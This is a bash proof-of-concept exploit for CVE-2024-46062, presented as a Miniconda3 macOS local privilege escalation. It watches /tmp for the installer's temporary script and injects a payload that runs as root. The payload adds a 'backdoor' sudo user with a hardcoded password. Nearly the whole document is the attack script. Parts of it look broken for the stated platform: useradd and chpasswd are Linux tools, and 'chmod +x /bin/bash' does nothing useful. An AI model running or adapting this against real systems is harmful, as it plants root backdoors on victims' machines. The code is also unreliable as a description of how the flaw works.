CVE-2024-46062

#!/bin/bash # CVE-2024-46062 PoC - Miniconda3 macOS Local Privilege Escalation # Run this script before installing Miniconda3 outside home directory TARGET_DIR="/tmp" MALICIOUS_SCRIPT="$TARGET_DIR/miniconda_install_temp.sh" # Wait for installer to create temporary script while [ ! -f "$TARGET_DIR/miniconda"*_install*.sh ]; do sleep 0.5 done # Get the installer temp script INSTALL_SCRIPT=$(ls $TARGET_DIR/miniconda*_install*.sh 2>/dev/null | head -1) if [ -n "$INSTALL_SCRIPT" ]; then echo "[+] Found installer script: $INSTALL_SCRIPT" # Inject malicious payload before root execution cat >> "$INSTALL_SCRIPT" << 'EOF' # CVE-2024-46062 payload - adds backdoor user useradd -m -s /bin/bash -G sudo backdoor 2>/dev/null echo "backdoor:BackdoorPass123" | chpasswd chmod +x /bin/bash # End of payload EOF echo "[+] Payload injected successfully" echo "[!] Waiting for installer to execute with root privileges..." fi

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